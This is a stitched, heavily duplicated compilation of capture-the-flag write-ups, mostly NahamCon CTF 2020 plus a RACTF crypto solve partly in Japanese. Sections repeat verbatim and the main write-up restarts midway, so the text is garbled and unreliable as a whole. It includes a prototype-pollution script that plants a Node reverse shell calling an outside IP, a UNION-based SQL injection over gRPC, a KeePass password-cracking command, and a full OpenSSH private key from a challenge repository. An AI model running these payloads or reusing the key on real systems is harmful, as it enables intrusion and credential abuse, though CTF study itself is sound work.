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---layout: default---# STEGO
## KSTEG
With the challenge we get this JPEG image:
The challenge name and the challenge description clearly indicates that we need to use [Jsteg](https://github.com/lukechampine/jsteg) this is a tool used for hiding data in the least segnificant bit (LSB) of the bytes in the image
> The image is actually an image of the creator of the tool (luke),
## DOH
A image was given and seriously what techniques was to be used I used [Steghide](http://steghid.sourceforge.net/download.php) to get the flag and no passphrase was required for this.
```steghide extract -sf doh.jpg
```
This was the flag : **JCTF{an_annoyed_grunt}**
## Beep Boop
An audio file was given and after listening to it I was sure that this are [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones so I used this [dialabc](http://dialabc.com/sound/detect/index.html) to get the numbers.
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```After some observation I found it a decimal to hex converion :
and then hex to ascii
# FORENSICS
## MICROOSOFT
we were just give a .docx file.
**FLAG : flag{oof_is_right_why_gfxdata_though}**
I first analyzed the file through binwalk, and got so many zipped files.
Then extracted it , and bruteforced to get the flag.
 |
# B007l3G CRYP70:Cryptography:350ptsChallenge instance ready at 95.216.233.106:16118. While doing a pentest of a company called MEGACORP's network, you find these numbers laying around on an FTP server: 41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34. Through further analysis of the network, you also find a network service running. Can you piece this information together to find the flag?
# Solutionncすると以下のように表示される。 ```bashWelcome to MEGACORP's proprietary encryption service! Just type your message below and out will come the encrypted text!
Please enter the message you wish to encrypt: aYour encrypted message is: 38 53 25 42
Please enter the message you wish to encrypt: aYour encrypted message is: 38 40 28 52
Please enter the message you wish to encrypt: aYour encrypted message is: 33 40 38 47
Please enter the message you wish to encrypt: aYour encrypted message is: 40 44 43 31
Please enter the message you wish to encrypt: aYour encrypted message is: 31 22 55 50
Please enter the message you wish to encrypt: bYour encrypted message is: 37 31 55 34
Please enter the message you wish to encrypt: bYour encrypted message is: 37 34 52 34
Please enter the message you wish to encrypt: bYour encrypted message is: 38 34 35 50
Please enter the message you wish to encrypt:~~~```暗号化されており、鍵も毎回変わっているように見える。 38+53+25+42=158 38+40+28+52=158 ただの和分解のようだ。 まずは`abcdefghijklmnopqrstuvwxyz0123456789{}_`の数値を取得する。 ```bash$ nc 95.216.233.106 16118Welcome to MEGACORP's proprietary encryption service! Just type your message below and out will come the encrypted text!
Please enter the message you wish to encrypt: abcdefghijklmnopqrstuvwxyz0123456789{}_Your encrypted message is: 24 51 51 32 36 26 43 52 37 38 55 26 37 49 27 42 36 30 56 32 42 45 45 21 55 38 27 32 50 26 35 40 43 29 40 38 43 33 51 22 28 37 36 47 38 49 41 19 49 28 47 22 27 31 32 55 51 27 31 35 29 51 38 25 41 41 18 42 19 36 43 43 28 36 29 47 24 32 29 54 35 29 52 22 14 41 37 45 30 44 40 22 43 25 36 31 28 41 30 35 42 38 38 15 32 57 48 70 34 49 69 54 19 63 62 61 57 32 62 53 35 62 60 46 34 68 38 62 38 61 60 42 64 25 46 65 71 33 39 56 55 58 28 57 37 23 49 23 45 41 28 16 41 33 49 37```四桁ずつ足し込んでいけば文字に対応する数値がわかる。以下のwadec.pyでデコードする。 ```python:wadec.pyimport numpy as np
text = "abcdefghijklmnopqrstuvwxyz0123456789{}_"gettext = [24,51,51,32,36,26,43,52,37,38,55,26,37,49,27,42,36,30,56,32,42,45,45,21,55,38,27,32,50,26,35,40,43,29,40,38,43,33,51,22,28,37,36,47,38,49,41,19,49,28,47,22,27,31,32,55,51,27,31,35,29,51,38,25,41,41,18,42,19,36,43,43,28,36,29,47,24,32,29,54,35,29,52,22,14,41,37,45,30,44,40,22,43,25,36,31,28,41,30,35,42,38,38,15,32,57,48,70,34,49,69,54,19,63,62,61,57,32,62,53,35,62,60,46,34,68,38,62,38,61,60,42,64,25,46,65,71,33,39,56,55,58,28,57,37,23,49,23,45,41,28,16,41,33,49,37]
c = [41,36,37,27,35,38,55,30,40,47,35,34,43,35,29,32,38,37,33,45,39,30,36,27,32,35,36,52,72,54,39,42,30,30,58,27,37,44,72,47,28,46,45,41,48,39,27,27,53,64,32,58,43,23,37,44,32,37,28,50,37,19,51,53,30,41,18,45,79,46,40,42,32,32,46,28,37,30,43,31,26,56,37,41,61,68,44,34,26,24,48,38,50,37,27,31,30,38,34,58,54,39,30,33,38,18,33,52,34,36,31,33,28,36,34,45,55,60,37,48,57,55,35,60,22,36,38,34]
t = list(np.array_split(gettext, int(len(gettext)/4)))t = list(map(lambda x: sum(x), t))c = list(np.array_split(c, int(len(c)/4)))c =list(map(lambda x: sum(x), c))
for i in range(len(c)): for j in range(len(t)): if c[i] == t[j]: print(text[j], end="")print()```実行するとflagが出てくる。 ```bash$ python wadec.pyractf{d0n7_r0ll_y0ur_0wn_cryp70}```
## ractf{d0n7_r0ll_y0ur_0wn_cryp70} |
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|
# Fake File
100 points
### Prompt
> Wait... where is the flag?
> Connect here:> `nc jh2i.com 50026`
### Solution
Let's `nc` to that server and see what's up:
```bash$ nc jh2i.com 50026
bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shelluser@host:/home/user$ ls -lahls -lahtotal 12Kdr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 .drwxr-xr-x 1 user user 4.0K Jun 4 18:54 ..-rw-r--r-- 1 user user 52 Jun 12 17:10 .. ```
Right off the bat, we can see that in the directory `/home/user`, there is a file named `..`. That will be hard to `cat`, or do much else to, as the shell will assume we are referencing the directory `..`.
Now it comes down to how we can tell bash that we mean that file. The first thing that came to mind is to reference the file by it's inode number, something that was top of mind after [PlaidCTF's "Filesystem Based Strcmp go Brr" challenge](https://github.com/lyellread/ctf-writeups/blob/master/2020-plaidctf/file-system-based-strcmp-go-brrrr/README.md).
To go about finding the inode number, we can tack on the `i` flag to `ls`, as so:
```bashuser@host:/home/user$ ls -lahils -lahitotal 12K8257688 dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 .8257687 drwxr-xr-x 1 user user 4.0K Jun 4 18:54 ..8257689 -rw-r--r-- 1 user user 52 Jun 12 17:10 .. ```
Knowing that, we can proceed to print it as follows:
```bashuser@host:/home/user$ find . -inum 8257689 -exec cat {} \;find . -inum 8257689 -exec cat {} \;flag{we_should_have_been_worried_about_u2k_not_y2k}```
And that's all there is to it.
~ Lyell |
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---layout: default---# MOBILE
### CANDROID
A .apk was given , candroid.apk .
>:FLAG : flag{4ndr0id_1s_3asy}
I extracted it using apktool .
And bruteforced to search the flag.
### SIMPLE APP
Full same as CANDROID
>: FLAG : flag{3asY_4ndr0id_r3vers1ng}
 |
---layout: default---# STEGO
## KSTEG
With the challenge we get this JPEG image:
The challenge name and the challenge description clearly indicates that we need to use [Jsteg](https://github.com/lukechampine/jsteg) this is a tool used for hiding data in the least segnificant bit (LSB) of the bytes in the image
> The image is actually an image of the creator of the tool (luke),
## DOH
A image was given and seriously what techniques was to be used I used [Steghide](http://steghid.sourceforge.net/download.php) to get the flag and no passphrase was required for this.
```steghide extract -sf doh.jpg
```
This was the flag : **JCTF{an_annoyed_grunt}**
## Beep Boop
An audio file was given and after listening to it I was sure that this are [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones so I used this [dialabc](http://dialabc.com/sound/detect/index.html) to get the numbers.
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```After some observation I found it a decimal to hex converion :
and then hex to ascii
# FORENSICS
## MICROOSOFT
we were just give a .docx file.
**FLAG : flag{oof_is_right_why_gfxdata_though}**
I first analyzed the file through binwalk, and got so many zipped files.
Then extracted it , and bruteforced to get the flag.
 |
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|
We can set `util.redis` by exploiting prototype pollution:
```import sysimport requests
host = sys.argv[1]# cmd = sys.argv[2]
rshell_host = "159.89.205.15"rshell_port = "8181"
# https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shellcmd = """node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(""" + rshell_port + """, \"""" + rshell_host + """\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'"""
r = requests.get(f'{host}/set', params={ "user_token": "__proto__", "key": "redis_set", "value": cmd + ";#"})
print(r.text)
r = requests.put(f'{host}/backup')print(r.text)``` |
SQL Injection over gRPC:
```import grpcimport main_pb2import main_pb2_grpc
CON_STR = 'light.w-jp.cf:1004'
with grpc.insecure_channel(CON_STR) as channel: stub = main_pb2_grpc.SrvStub(channel) res = stub.GetLoginHistory(main_pb2.SrvRequest(), metadata=(('user_token', "')) UNION SELECT flag FROM flags-- "),)) print(res.ip)```
which results in the following SQL query being executed: ```SELECT ul.ip FROM `user_logs` AS `ul` WHERE (ul.user_id = (SELECT id FROM users AS u WHERE u.token = '')) UNION SELECT flag FROM flags-- '))``` |
---layout: default---# STEGO
## KSTEG
With the challenge we get this JPEG image:
The challenge name and the challenge description clearly indicates that we need to use [Jsteg](https://github.com/lukechampine/jsteg) this is a tool used for hiding data in the least segnificant bit (LSB) of the bytes in the image
> The image is actually an image of the creator of the tool (luke),
## DOH
A image was given and seriously what techniques was to be used I used [Steghide](http://steghid.sourceforge.net/download.php) to get the flag and no passphrase was required for this.
```steghide extract -sf doh.jpg
```
This was the flag : **JCTF{an_annoyed_grunt}**
## Beep Boop
An audio file was given and after listening to it I was sure that this are [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones so I used this [dialabc](http://dialabc.com/sound/detect/index.html) to get the numbers.
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```After some observation I found it a decimal to hex converion :
and then hex to ascii
# FORENSICS
## MICROOSOFT
we were just give a .docx file.
**FLAG : flag{oof_is_right_why_gfxdata_though}**
I first analyzed the file through binwalk, and got so many zipped files.
Then extracted it , and bruteforced to get the flag.
 |
# Miscellaneous
## Vortex```Will you find the flag, or get lost in the vortex?
Connect here:nc jh2i.com 50017```
When we are connected, there is a lot of unreadable text:```nc jh2i.com 50017 | head�PϞ)m1e��/}=v/�()k+�>�(�,닥�W{�t��6�+S����8�=$��=ğ��Q��L����m=|w.�`#����P0ʼ�'hd���Q����R�+�%<�KK�zҷwD�?�0�1:�逝&�u�(�����d�Z'f��e��J���V���/씔���be�8rhr�wrDgQ,�����C���4��}�_��]t�Y�!�vY2���k��cS�O����#��O?[...]```
We can check if the flag is hidden inside:```$ nc jh2i.com 50017 | strings | grep flagflag{more_text_in_the_vortex}```
The flag is: `flag{more_text_in_the_vortex}`
## Fake File```Wait... where is the flag?
Connect here:nc jh2i.com 50026```
When we log in, we have access to a shell
```user@host:/home/user$ ls -lals -latotal 12dr-xr-xr-x 1 nobody nogroup 4096 Jun 12 17:08 .drwxr-xr-x 1 user user 4096 Jun 4 18:54 ..-rw-r--r-- 1 user user 52 Jun 12 17:08 ..```
There is a file named `..` but we can't cat it:```user@host:/home/user$ cat ..cat ..cat: ..: Is a directory```
We must select the file `..` and not the directory `..`, the command ` find` will help us:
```user@host:/home/user$ find . -type ffind . -type f./.. user@host:/home/user$ find . -type f -exec cat {} \;find . -type f -exec cat {} \;flag{we_should_have_been_worried_about_u2k_not_y2k}```
The flag is `flag{we_should_have_been_worried_about_u2k_not_y2k}`
## Alkatraz```We are so restricted here in Alkatraz. Can you help us break out?
Connect here:nc jh2i.com 50024```
When we log in, we have access to a restricted shell
With `ls`, we can see a file `flag.txt` in home directory, the flag can is inside
We can use `cat`, `less`, `more`, `head`, `tail` or `grep` to try to display its content...
But we can une `.` instruction lmao:```. flag.txtflag.txt: line 1: flag{congrats_you_just_escaped_alkatraz}: command not found```
The flag is: `flag{congrats_you_just_escaped_alkatraz}`
|
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BXUTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSno+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKmJm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFvmjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMTCtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaOUBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOExI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoGZf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9thDU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UHpTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHMJQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMBEfy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl14CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6gSAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAAwC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hnghLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+lLdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRaFsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBAzcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2GKsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQS+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+iDZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9CxTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
